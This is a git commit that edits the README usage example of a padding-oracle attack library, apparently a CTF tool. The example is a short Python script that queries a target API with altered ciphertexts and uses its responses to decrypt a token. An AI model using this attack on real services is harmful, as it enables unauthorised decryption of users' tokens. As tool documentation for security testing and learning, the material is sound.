docs: improve example

Author: djosix

README.md

@@ -29,32 +29,33 @@ Tested on [0x09] Cathub Party from EDU-CTF:
 
 ## Usage
 
-Let's say we are going to test `https://the.target.site/api/?token=BASE64_ENCODED_TOKEN`
+E.g. testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
 
 ```python
 from padding_oracle import padding_oracle, base64_encode, base64_decode
 import requests
 
 sess = requests.Session() # use connection pool
-url = 'https://example.com/api/'
+url = 'https://vulnerable.website/api/'
 
 def oracle(ciphertext: bytes):
     resp = sess.get(url, params={'token': base64_encode(ciphertext)})
 
     if 'failed' in resp.text:
-        return False
+        return False # e.g. token decryption failed
     elif 'success' in resp.text:
         return True
     else:
         raise RuntimeError('unexpected behavior')
 
-ciphertext = base64_decode('BASE64_ENCODED_TOKEN')
-# becomes IV + block1 + block2 + ...
+ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
+# len(ciphertext) is 32
+# possibly be "IV + cipher block" if block size is 16
 
-assert len(cipher) % 16 == 0
+assert len(ciphertext) % 16 == 0
 
 plaintext = padding_oracle(
-    ciphertext, # cipher bytes
+    ciphertext,
     block_size = 16,
     oracle = oracle,
     num_threads = 16,